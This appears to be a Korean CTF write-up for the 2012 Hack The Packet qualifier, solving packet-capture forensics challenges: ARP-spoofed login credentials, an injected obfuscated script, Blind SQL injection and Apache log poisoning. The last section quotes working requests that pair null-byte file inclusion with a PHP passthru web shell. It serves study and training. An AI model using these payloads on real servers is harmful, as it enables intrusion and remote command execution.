2012 Hack The Packet Online PreQUAL Write-up

Similar documents
Hack The Packet Online PreQUAL 이진혁 [ loca ]

Hack the Packet 보고서 위 dj

2012 POC, Hack The Packet Online PreQUAL TEAM SsoMac by 최봉철 [ mikorea madkid ]

HACK THE PACKET 닉네임 이름 if 김형선 보고서는문제를풀면서접근했던방법및결과위주로작성하였습니다. 이모든영광을문제만드시느라고생하신 HackThePacket 운영진에게바칩니다.

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

1217 WebTrafMon II

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

Hackthepacket WriteUp ##DoubleB## LQ. telnet 은다보여 LEQ : telnet Hint : Key is telent Password FILE : 3.Q_2(Leopardan) Sol) Idea : 힌트에따라 TELNET 프로토콜을필터링

Chapter 1

76 XSS 하 Huge-IT Slider admin.php XSS

Secure Programming Lecture1 : Introduction

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

제20회_해킹방지워크샵_(이재석)

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

<4D F736F F F696E74202D E20C0CEC5CDB3DD20C0C0BFEB20B9D720BCADBAF1BDBA20B1E2BCFA E >

SRC PLUS 제어기 MANUAL

<4D F736F F D2033BFF920BECBBEE0BFF9B0A3BAB8B0EDBCAD2E646F6378>

POC "Power of Community" 이민우 (lwmr)

Overall Process

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

Network Security - Wired Sniffing 실습 ICNS Lab. Kyung Hee University

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

EDB 분석보고서 (05.0) ~ Exploit-DB( 에공개된별로분류한정보입니다 SQL Injection 하 상 u5cms localize.php SQL U5cms 3607 SQL

Secure Programming Lecture1 : Introduction

DocsPin_Korean.pages

FMX M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2

bn2019_2

6강.hwp

Microsoft PowerPoint 통신 및 압축 명령어.ppt

UDP Flooding Attack 공격과 방어

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

untitled

Interstage5 SOAP서비스 설정 가이드

Subnet Address Internet Network G Network Network class B networ

Network seminar.key

슬라이드 1

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

<4D F736F F D20B3BBBACEC7D8C5B7B4EBC8B820BAB8B0EDBCAD2E646F6378>

신종파밍악성코드분석 Bolaven

MySQL-Ch10

PowerPoint Presentation

T100MD+

(SW3704) Gingerbread Source Build & Working Guide

LXR 설치 및 사용법.doc

Discrete Mathematics

Microsoft PowerPoint - ch07.ppt

법제코너 저자권의 이해 저작권의 의의 세계 각국은 보호의 정도에는 조금씩 차이가 있으나 일반적으 로 두 가지의 근거로서 저작권을 보호하고 있다. 하나는 저작권 을 창작자 개인의 인격적 경제적 권리로 인정하는 것이고 다른 하나는 지적 창작의 결과를 보호함으로써 사회적 경

hd1300_k_v1r2_Final_.PDF

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Dropbox Forensics

Intra_DW_Ch4.PDF

SMB_ICMP_UDP(huichang).PDF

USB USB DV25 DV25 REC SRN-475S REC SRN-475S LAN POWER LAN POWER Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl C

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

36802 Tune Library / 중 NEX-Forms < admin-ajax.php 하 중 Ultimate Product Catalogue - / 하 중 Ultimate Product Catalogue - ad

슬라이드 1

PWR PWR HDD HDD USB USB Quick Network Setup Guide xdsl/cable Modem PC DVR 1~3 1.. DVR DVR IP xdsl Cable xdsl Cable PC PC DDNS (

문서 템플릿

C# Programming Guide - Types

TCP.IP.ppt

USER GUIDE

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

EDB 분석보고서 (06.07) ~ Exploit-DB( 에공개된취약점별로분류한정보입니다 SQL Injection 하중 index.php SQL Injection 취

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager

3장

본 CERT) "Security Consumer Report - DLP" 는 한국침해사고대응팀협의회(CNCERT:CNsortium of 회원으로 활동하는 보안 담당자가 자발적으로 보고서 위원회를 구성한 후 국내에서 유 통되는 DLP 제품을 조사( 기획 수행 제작) 한

인켈(국문)pdf.pdf

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

목차 1. 개요 USB 드라이버 설치 (FTDI DRIVER) FTDI DRIVER 실행파일 USB 드라이버 확인방법 DEVICE-PROGRAMMER 설치 DEVICE-PROGRAMMER

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

초보자를 위한 분산 캐시 활용 전략

chapter4

MasoJava4_Dongbin.PDF

제목 레이아웃

PowerPoint 프레젠테이션

Stage 2 First Phonics

EndNote X2 초급 분당차병원도서실사서최근영 ( )

C H A P T E R 2

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

*****

°í¼®ÁÖ Ãâ·Â

본문서는 초급자들을 대상으로 최대한 쉽게 작성하였습니다. 본문서에서는 설치방법만 기술했으며 자세한 설정방법은 검색을 통하시기 바랍니다. 1. 설치개요 워드프레스는 블로그 형태의 홈페이지를 빠르게 만들수 있게 해 주는 프로그램입니다. 다양한 기능을 하는 플러그인과 디자인

ARMBOOT 1

Assign an IP Address and Access the Video Stream - Installation Guide

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

PowerPoint Template

Page 2 of 6 Here are the rules for conjugating Whether (or not) and If when using a Descriptive Verb. The only difference here from Action Verbs is wh

ActFax 4.31 Local Privilege Escalation Exploit

로거 자료실

PowerPoint Presentation

Week13

uFOCS

step 1-1

Microsoft PowerPoint - ch02_인터넷 이해와 활용.ppt

네트워크 안정성을 지켜줄 최고의 기술과 성능 TrusGuard는 국내 최초의 통합보안솔루션으로서 지난 5년간 약 4천여 고객 사이트에 구축 운영되면서 기술의 안정성과 성능면에서 철저한 시장 검증을 거쳤습니다. 또한 TrusGuard는 단독 기능 또는 복합 기능 구동 시

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

컴퓨터과학과 교육목표 컴퓨터과학과의 컴퓨터과학 프로그램은 해당분야 에서 학문적 기술을 창의적으로 연구하고 산업적 기술을 주도적으로 개발하는 우수한 인력을 양성 함과 동시에 직업적 도덕적 책임의식을 갖는 IT인 육성을 교육목표로 한다. 1. 전공 기본 지식을 체계적으로

1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x 16, VRAM DDR2 RAM 256MB

Transcription:

# 2012 RExVuz@SecurityFirst 2012 Hack The Packet Online PreQUAL Write-up 2012 HTP 온라인예선문제풀이 Abstract 2012년 10월 26일 ( 금 ) PM 19:00 ~ 10월 27일 ( 토 ) AM 01:00까지 6시간동안 HTP@POC2012 by Rainbow에서진행한 Hack The Packet Online PreQUAL ( 예선 ) [Low] 난이도의 L01, L02, L1~L5 문제, [Middle] 난이도의 M1~M5 문제와 [High] 난이도의 H1~H5 문제에대한 Write-up 입니다. 하행운 [RExVuz] rexvuz@gmail.com 2012-11-01

목차 1. [Low] 난이도... 3 1-1) L01... 3 1-2) L02... 4 2-1) L1... 5 2-2) L2... 7 2-3) L3... 8 2-4) L4... 12 2-5) L5... 13 2. [Middle] 난이도... 14 1) M1... 14 2) M2... 15 3) M3... 16 4) M4... 17 5) M5... 19 3. [High] 난이도... 20 1) H1... 20 2) H2... 22 3) H3... 24 4) H4 ( 공개된풀이 )... 26 5) H5... 27 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 2

1. [Low] 난이도 1-1) L01 <Q> 2012_htp_prequal.pcap 파일은어떤환경 (System Information) 에서캡쳐한것일까? <EQ> Which System be used when this 2012_htp_prequal.pcap file captured? BinText 를이용하여 pcap 파일내의문자열들을보니시스템환경 (System Information) 에관련된정보가나와있었 다. 00000000001C 00000000001C 0 64-bit Windows 7 Service Pack 1, build 7601 0000000000D8 0000000000D8 0 64-bit Windows 7 Service Pack 1, build 7601 64-bit Windows 7 Service Pack 1, build 7601 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 3

1-2) L02 <Q> 2012_htp_prequal.pcap 파일은어떤도구로캡쳐한것일까? ( 대문자로입력 ) <EQ> What tools be used in capturing this 2012_htp_prequal.pcap file? (Upper case) L01 번문제와마찬가지로 BinText 를이용하여 pcap 파일내의문자열들을보니 Dumpcap 1.8.1 이라는도구 (tool) 로추측되는문자열이있었다. 문제지문에 ( 대문자로입력 ) 을보고 DUMPCAP 1.8.1 으로인증을시도했지만 되지않았다. 여러방법으로인증을시도해보다계속된실패에 HackThePacket 님 (?) 께 Facebook 메시지로위와같이질문해보고 DUMPCAP 으로인증을시도해보았지만되지않았다. 혹시나이도구가아닌가하는생각에 Google에 dumpcap 을검색한결과 dumpcap - The Wireshark Network Analyzer 1.8.0 이라는단서를찾았다. 그순간아차 (!) 하고뒤늦게 Wireshark라는것을깨닫고인증하였다. WIRESHARK Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 4

2-1) L1 <Q> ARP_Spoofing에의해서나의아이디와패스워드가유출됬다! <EQ> ID and Password of mine were leaked by ARP Spoofing! ** key is AttackerMacaddress_VictimPassword pcap 문제파일을 Wireshark 로열어보면 ARP(Address Resolution Protocol) packet 이초반부터보인다. [ Sender MAC address: Vmware_f3:21:ad (00:0c:29:f3:21:ad) ] packet 을살펴보면인증키형식의일부에해당하는 AttackerMacaddress 가보인다. 공격자의 MAC address 는 00:0c:29:f3:21:ad 이다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 5

다음으로유출된아이디와패스워드를찾아보겠다. tcp.stream eq 8 Filter 를이용해서 [Follow TCP Stream] 으로 stream 을보면아래와같다. POST login.php?login_attempt=1 HTTP1.1 Accept: imagegif, imagex-xbitmap, imagejpeg, imagepjpeg, applicationx-shockwave-flash, ** Referer: http:www.facebook.com Accept-Language: ko Content-Type: applicationx-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.facebook.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Cookie: datr=v6estntuznxki-cfhj4rxqaa; reg_fb_gate=http%3a%2f%2fwww.facebook.com%2f; reg_fb_ref=http%3a%2f%2fwww.facebook.com%2f; wd=691x357 charset_test=%e2%82%ac%2c%c2%b4%2c%e2%82%ac%2c%c2%b4%2c%e6%b0%b4%2c%d0%94%2c%d0%84 &lsd=ppm9h&locale=ko_kr&email=hi_gal@gmail.com&pass=yong_gal&default_persistent=0&charset_test= %E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=PPm9h http:www.facebook.comlogin.php?login_attempt=1 페이지에 POST 방식으로요청하는 packet 이다. Facebook 에 email=hi_gal@gmail.com&pass=yong_gal 으로로그인을시도한데이터들이 ARP Spoofing 공격에의해서유 출된것이다. 00:0c:29:f3:21:ad_YONG_GAL Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 6

2-2) L2 <Q> 남자들이뼛속까지좋아하는여자는누구? DNA 연구결과가발표되었다. 바코드를찾아라! <EQ> Who s the girl loved of man s bones? It s released the result of DNA. Find the Barcode! [File] [Export Objects] [HTTP] 를이용해서파일내의 object 들을모두추출한다. 그중 HTML 페이지가추출되 었는데, 추출된 HTML 페이지를열어보았다. 페이지에 2D 바코드가있었다. 해당바코드를 http:zxing.orgwdecode.jspx 에서 Decoding 한다. Key:IU Good 역시 IU 는짱이죠! IU Good Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 7

2-3) L3 <Q> 화창한봄날 G 마켓에코드가삽입됐다. <EQ> Spring, A code injected in G-market. 문제지문을보면 Spring ( 봄날 ) 이핵심인데추출된 object 중 GMainSpring.js 이라는파일명이가장단서가될 만한것같았다. 해당파일의내용을살펴보면맨위에있는 getflashplayerhtml 이라는함수가가장수상하였다. function getflashplayerhtml(strsrc, strmovie, strwidth, strheight, idname ){ var shtml; shtml = ""; shtml = shtml + " <OBJECT id='" + idname + "' name='" + idname + "' codebase='http:download.macromedia.compubshockwavecabsflashswflash.cab' "; shtml = shtml + " width='"+strwidth+"' height='"+strheight+"' classid='clsid:d27cdb6e-ae6d-11cf- 96B8-444553540000'> "; shtml = shtml + " <PARAM NAME='FlashVars' VALUE=''> "; shtml = shtml + " <PARAM NAME='Movie' VALUE='"+strMovie+"'> "; shtml = shtml + " <PARAM NAME='WMode' VALUE='transparent'> "; shtml = shtml + " <PARAM NAME='Quality' VALUE='High'> "; shtml = shtml + " <PARAM NAME='Menu' VALUE='-1'> "; shtml = shtml + " <PARAM NAME='Base' VALUE=''> "; shtml = shtml + " <PARAM NAME='AllowScriptAccess' VALUE='always'> "; shtml = shtml + " <PARAM NAME='Scale' VALUE='ShowAll'> "; shtml = shtml + " <PARAM NAME='DeviceFont' VALUE='0'> "; shtml = shtml + " <PARAM NAME='EmbedMovie' VALUE='0'> "; shtml = shtml + " <PARAM NAME='SeamlessTabbing' VALUE='1'> "; shtml = shtml + " <PARAM NAME+'base64 hash : #@~^dq4aaa==md~ky9{ddbuo,'~[[%fila%li[[f!zi'aw%p[:,0ila{fp'arvi'[%ci'[%qil:rcila8!%p[[{cp[:%2i':ffil:%yi[[qq*p[[%{i':+%i[[{cp[: {8i[:qZFI[[0+i'[F8 ilar{ila{,p[:0wi[[ vp[a8t*ilar I[:*Oi'aOTiLaqTOi[:0Fi'a8TOi'[*2i[[%FI[[G{iLa{qp[aR+iLa%OI'aR&p[:FT1p[:F81iLa qp[a0fp[:%lilaqz!p[aw%p'ao%i[[gqil a%+i[[%cp':%8ila0ci'[ft%p'afci'[%&i'[gqil:r ILa8F*p[[0Gp[:vRi':FciL:G8i[[qTFp[[% i':8f+il:%fi':f,i':rci[[ +i'[fzcilar+ila*,p[:1zi[[q!oi[[0{ila8!1i':l&i[[0gp[:{fi[:{8i'ar+ p[:r,p[ar&p'a8!1ilaqqoi[[ Fp[aRfI[[%li'aqTZi'aW0iLa10p[a{qp[:%+ILa0WiLa%8iL:%Wi'a8!0ILaGWI[[%&p':G8iLa0 I'[Fq*p'aRGI'[v%I'[G*iL:FFILa8!Fp[[0vp[:F8 I'[%Gp'aF,iL:0cp[[v i':8!*il:%yi':w,i':o!i[[qz,ilargila8t,p[:*2i':rgil:gfi[[{qilar I[:0Oi'aRfiLaqTOi[:q8,I[[ 8i'[%2i[[%lI[[FT!p[:*Ri[[1%p[aFqI[[%+i'a0*p[:%8I[[%*ILaFT0p[:GWILa02iLaG8iL:%yi'a8FXILa%FI[ [v%p':gwila{fi'[ftfp'arvi'[ff+ila0gp'[g1p[[%cp[[ vp[:fzci'[% p'aw,il:1!p[[ft,i'[%{il:fz,i'[*&i'[%{il:fgilaffilar+ila0,p[:02i[[q!oi[[qq,p[[vqi':r&i[[0*p[:qz!i':w%i[[1ri'[g8i[[%+i[[%*ila 0qp[aR*iLaFZ0I[[GWi'a0fp[:G8I[[%+ILaFqXp[:%FILa RiLaGWiL:G8i'a8!qILa%+I[[FFyI'aRGp[:G1ILa0cp'a+vI'[F!*ILa0 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 8

p'[c1p[[,!p[[q!oi'argi'[f!oi[[*&p':%fila{gi'[gqil:%yi':r,i':r&i[[qz,ila8f,p[[ Fp[:%2i':R*iL:FZ!iL:*%p[[,0i':FFI[[0vp[:0Wi[:08i 'ar*p[:8!ri[[gwi[[%fila{qp[ar+ilaf8xi[[%fi'a 0p[:GWI[[GqILaFTqp[:%+ILaq8 p[argp'af,i[[%*ilav+i[[f!wi'ar p[:c1ila1!p'a8!1ila%{ilaq!oilax2ila%fil:gfi'affi'[% p'ar,il:0&p[[ft,i'[fq,p'a+fi'[%&i'[%xil:8!tp[[c%p[[1%p[:g8i':rvil:%wi[[0qilarci[:qz%i[[{cp[:02i[:{8i'ar+p[:8fli[[%fi[[v0i La{*p[aFqiLaFZqI[[%+i'aqqyi'aR{iLa{1p[a0*p[:v+ILaqZcp[aR p'aw,i[[,tilafz1ila%fi'a8!oi'axfp[:%fi[[g{ilagqila0 p'[%1p[[%&p[[q!oi'a8f1ilav8i[[%&p':%lilaq!tila*%p'ao%i'[gfi'[% il:rcilarfilar*ilaq!ri':fcil:%2i[[{qilar I[:q8*I[[0Gp[: Ri[:{Wi'aFqp[:8!8i[[%+I[[Fq p[:0fi[[{,p[ar*i[[v+i'aqtwi'ar+ila*1p[a1tp[:fz1p[:rgp[a8!oi[[*fila0{p[af{ilag8i'ar p[:%1ila0&p'a8!1ilafq1p[:v8ila02ila%lil:fz!i[[c0ila,ri[[gfp':%+ila0ci'[%qil:%wi':8!%i'[g*il:r&ilaffilar+ilaqfli':rgi L:vRi[[{*iLaFFI[:qZFI[[0vp[:q8 i':rgi[[{oi'[%wi[[v+i[[ftcp[:0yi[[*,p[aoti[[fz,i[:0fi'a8t,p[:x2i[:0fi'af{p[:ffp[ar p'ar,i[[%filafz1ilaf81i[[v8i'a0fp[:%li[[fttp[a*0p[:,rila{8ila%+il:%wi'arfi'[%cp'a8!%p':gwila0&i'[gqil:%yi':8f*i'[%{il :+%ILaFciLaFqiLaq!8i':RviL:F8 il:0gp[[g1i':rci[[ vp[:qzci':r I[[*Oi'[,Zi[[FZ1iLa0Gp[:qZ,iL:*2i[[0{iLaFGI[:{8i'aR+iLa01p[a0fp[:FZ1p[:8FOi[[v8I[[%fiLa0Xp[a8T!p[aW0I[[,Ri'a{qp[:%+I[[%*I La%qILa0cp'[FTRiLaGWiL:%2i'aFFI'[% p'a8f*p':%fila %I'[G*iL:G8i':8!FI'[% il:8f+p[[%gp[[{,p[:%wi':+vil:fzcil:0 p[[c1i':o!i[[q!oi':rgi':8!1il:l&ilargilaf{ila{fp[:0yi[[0,p[arfi[[fz,i[:q8,i[[ Fp[:02i[:0li'a8TZi'[cRi[[,RI[[GqiLa0 p[ar*ila%8i'a Rcp[:FT0p[:GWI[[%fILaGqILa0 p'[fqlila%fil:vri'afci'[gfp'a8!fp':%+ilaqf+ila0gp'af,i'[%ci'[v il:8!*p[[% p[[*,p[:,zi':8!,p'argil:q!oilax&i'[%{il:gfi':ffi':r I[[0Oi'[%2i[[FZ1iLaqFOi':+FiL:%2i[[0XiLa8!Ti':W%I[[1%p[:{8i[:0+i'aR*p[:RFp[aRcp'a8!0iLa{*p[aRfiLaG8I'aR p[:fqxp[:%fi[[v0ilag*ila{fp'[ft8ila%+il:f8 I[[%{ILaGOI[[%cp':v+iLaq!*ILa0 p'aw,i'[,!i'[ft,p'[%{p[[f!oil:*2i'argi'[ggp'affil:0 p[[%1i':r&i[[q!oi':8f,i'[vqil:r&ilar*ila8t!p[:cri':o%il:g8i[[0 ilarci[:08i'ar*ilaqtri[:{wi'arfp[:ffp[ar p'a8fxila0{p[a+0ilagwi'affp[:ftqp[:%+i[[fq+p[a0{p[:goila0wilav+il:fzci[[%+ilacoi[[,!p':fz,p[:%{ilaq!oi[[*fila%{il a{gp'[gqp[[% p[[0,p[:%2i':8!,p'a8f,p':v8ila0&i'[%xil:fz!i'[c%i'[,0il:ffilarvilar*ila0fp[:0wi[[q!ri[[{*ilar&i[:{8i'ar+ilaqqli[:0fi'a+0p[:f cp[affp'a8!qila0 p[a8q p[ar{i[[goi'a0*p[:v+i[[ft*p[a0+p[:coila1zilafz,p'argi[[ft1p[alfila%fi'afgp[:gqila0 p'ar,i'[%&i'[ft,p'[fqoilav8il:%2i'ar*i'[f!zi[[c%p':,rila{fi'[% il:%wi':rfi':rci[[qz%ilafcilarfila{fp[:0yi[[qfli[[0{ila+%i[: {Wi'aFqiLaqT8i[:0+i'a8qyi'[%Fi[[GOI[[%*iLa p[a8tcp[ar+i[[coi'a1tp[:fz1ila0{p[aqtoi'alfp[:rgp[afgp'affi[[%+ila%oi [[%&p':fz,p[:fq1p[:v8i@#@&rrqcaa==^#~@'>" ; shtml = shtml + " <embed src= '"+strsrc+"' quality=high wmode='transparent' "; shtml = shtml + " pluginspage='http:www.macromedia.comshockwavedownloadindex.cgi?p1_prod_version=shockwaveflash' "; shtml = shtml + " type='applicationx-shockwave-flash' width='"+strwidth+"' height='"+strheight+"' allowscriptaccess='always'> "; shtml = shtml + " <embed> "; shtml = shtml + " <OBJECT>"; } return shtml; 함수내의내용을보면 <PARAM NAME+'base64 hash : ~~~ > 부분에 Encoding 되어있는값이가장수상했다. 그런데해당문자열이어떤방식으로 Encoding 되어있는지몰라서풀지못하고힌트가나오기를기다렸다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 9

마침내힌트가나왔는데핵심은 VB Script 였다. http:www.greymagic.comsecuritytoolsdecoder 사이트에 getflashplayerhtml 함수를넣어주고 [Decode Content] 하니아래와같이 Decoding 되었다. <PARAM NAME+'base64 hash : var std_string = SUd0bGVTQTlJSGRsW&# 68;JGeVpWOTBhR1ZmWm&# 53;WMGRYSmw=SUd0bGVT& #81;TlJSGRsWDJGeVpWOT&# 66;hR1ZmWm5WMGRYSmw=&# 83;Ud0bGVTQTlJSGRsWD&#74 ;GeVpWOTBhR1ZmWm5W&#77 ;GRYSmw=SUd0bGVTQTl JSGRsWDJGeVpWOTBhR 1ZmWm5WMGRYSmw=SUd 0bGVTQTlJSGRsWDJGe& #86;pWOTBhR1ZmWm5WMGR&# 89;Smw=SUd0bGVTQTlJS&#7 1;RsWDJGeVpWOTBhR1Z&#10 9;Wm5WMGRYSmw=SUd0b&#71 ;VTQTlJSGRsWDJGeVpW OTBhR1ZmWm5WMGRYSm w=sud0bgvtqtljsgrs WDJGeVpWOTBhR1ZmWm 5WMGRYSmw=SUd0bGVT& #81;TlJSGRsWDJGeVpWOT&# 66;hR1ZmWm5WMGRYSmw=&# 83;Ud0bGVTQTlJSGRsWD&#74 ;GeVpWOTBhR1ZmWm5W&#77 ;GRYSmw=SUd0bGVTQTl JSGRsWDJGeVpWOTBhR 1ZmWm5WMGRYSmw=SUd 0bGVTQTlJSGRsWDJGe& #86;pWOTBhR1ZmWm5WMGR&# 89;Smw=SUd0bGVTQTlJS&#7 1;RsWDJGeVpWOTBhR1Z&#10 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 10

9;Wm5WMGRYSmw=SUd0b&#71 ;VTQTlJSGRsWDJGeVpW OTBhR1ZmWm5WMGRYSm w=sud0bgvtqtljsgrs WDJGeVpWOTBhR1ZmWm 5WMGRYSmw=SUd0bGVT& #81;TlJSGRsWDJGeVpWOT&# 66;hR1ZmWm5WMGRYSmw= '> 위문자열은 HTML Entities 로이루어진값들인데, 중복되는부분이있었다. 데이터의초반에굵게표시한부분이 계속해서반복되는부분이었다. 굵게표시한값만따로뽑은후에, Python 을이용해서해당숫자값을문자로출력해보니 Base 64 Encoding 된 문자열이나왔다. IGtleSA9IHdlX2FyZV90aGVfZnV0dXJl Decoding 결과또다시위와같이 Base 64 Encoding 된문자열이나왔는데한번더 Decoding 하니 key = we_are_the_future we_are_the_future Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 11

2-4) L4 <Q> 우탱아, 가을인데단풍놀이가야지 ~ 어디로갈까? <EQ> Wootang, Let s go to see the maple leaves~ it s Autumn! where is it? 추출된 object 중에 Where_is_it.jpg 파일이위의이미지였는데, Google 이미지검색을이용해서검색해보았다. 위처럼 Hallasan 이라는결과가나왔다. 그런데이미지파일에대해서좀더상세히분석하기위해서 PhotoME 를 이용해서파일의 Exif 정보를보았다. JPG 파일의코멘트에진짜인증키가나와있었다. K@e*y_:_hallasan hallasan Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 12

2-5) L5 <Q> 악성다운로더 <EQ> Malware Downloader 다운로더이기때문에실행파일로추측하였고, 추출된 object 중에서 noexe.exe 라는수상한파일을포착하였다. 00000000413C 00000041573C 0 An$w3r is HTP_Forever@ 00000000413C 00000041573C 0 An$w3r is HTP_Forever@ BinText 를이용하여인증키로보이는문자열을뽑았지만완전한인증키가아니었다. tcp.stream eq 55 Filter 에있는 stream 을 [Follow TCP Stream] 으로보니 exe 파일이다. 신들린 eye-grep 으로완 전한인증키가있는부분을찾아내었다. An$w3r is HTP_Forever@^^@~~ HTP_Forever@^^@~~ Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 13

2. [Middle] 난이도 1) M1 <Q> 나는누구인가? 네오는오라클에게 FTP로 Zip 파일을받게되는데... <EQ> Who am I? Neo got a zip file from oracle via FTP... 문제지문을보고 Zip 파일을추출하면된다는것을파악하였다. HxD(Hex Editor) 로 pcap 문제파일을열고, Zip 파일 signature 중 header에해당하는 50 4B 03 04 를검색해보았다. 위의압축파일에 who_am_i.txt 라는파일이포함되어있는것을볼수있었다. 드래그한부분만따로잘라내어 Zip 파일로저장후압축을풀어보니 txt 텍스트파일이나왔다. txt 파일을열어보니 hex 값으로추측되는데이터가있었는데이를 HxD 에붙여넣고 Base 64 Encoding 된데이터 (SV9BTV9UcmFpbmVlX0Fobg==) 를 Decoding 하였다. I_AM_Trainee_Ahn Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 14

2) M2 <Q> DB이름을찾아라! <EQ> Find the name of DataBase HTTP objects 를살펴보던중 Blind SQL Injection 공격을시도했던흔적이보였다. helloindex.php?no=1 [ tcp.stream eq 91 ] <font size=20> WELCOME <font><font size=25><b> gal <b><font> helloindex.php?no=2 <font size=20> WELCOME <font><font size=25><b> POC <b><font> helloindex.php?no=3 <font size=20> WELCOME <font><font size=25><b> IU <b><font> 위의결과에서 index.php?no=3 일때 WELCOME IU 라는문자가출력되었다. [ tcp.stream eq 92 ~ tcp.stream eq 108 ] 위 stream 들을모두보면 substring 함수를이용해 Blind SQLi 공격을하여한문자씩읽어오는데성공하면 IU 라는문자열을보여준결과가차례대로 e a s y w e b s i t e a t t a c k 이므로이값이바로 DB 이름이된다. easywebsiteattack Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 15

3) M3 <Q> 라우터에백도어가삽입되어있다. 마지막으로실행된명령어는? <EQ> Backdoor injected in Router. what's the last command? tcp.stream eq 17 Filter 를이용하여 stream 을보았다. ( 뒤늦게인증한문제대부분은 tcp.stream eq 1 ~ 150 까지의모든 stream 을보고품 ) ( 중략 ) Cisco 라우터에관련된문제의인증키가나왔다. hostname An$w3r_is^tclsh Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 16

4) M4 <Q> 누군가가나의 Secret폴더의내용을읽었다! <EQ> Someone read a Secret folder of mine! ** Key is secret.txt_hiden.txt_pass.txt in Secret Folder ** hiden is not wrong. it s just typo Apache Log Injection 공격에관련된문제이다. C:\APM_Setup\htdocs\Secret... 2011-10-07... 06:05 <DIR>. 2011-10-07... 06:05 <DIR>.. 2011-10-07... 06:32 9 hiden.txt 2011-10-07... 06:32 6 key.txt 2011-10-05... 06:16 4,890 Pass.jpg 2011-10-07... 06:33 9 pass.txt 2011-10-07... 06:32 6 secret.txt tcp.stream eq 83 Filter 의 stream 을보면위와같이 Secret 폴더에 5 개의파일이존재하였다. 그중인증키에 필요한파일에대한정보는다음과같다. [ secret.txt : 6bytes hiden.txt : 9bytes pass.txt : 9bytes ] tcp.stream eq 85 index.php?cmd=cd%20secret%26type%20secret.txt&page=..serverapachelogsaccess.log%00<?passthru($_g ET['cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00noopen [ secret.txt NOOPEN 6bytes ] tcp.stream eq 87 index.php?cmd=cd%20secret%26type%20key.txt&page=..serverapachelogsaccess.log%00<?passthru($_get[ 'cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00iloveu [ key.txt ILOVEU 6bytes ] Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 17

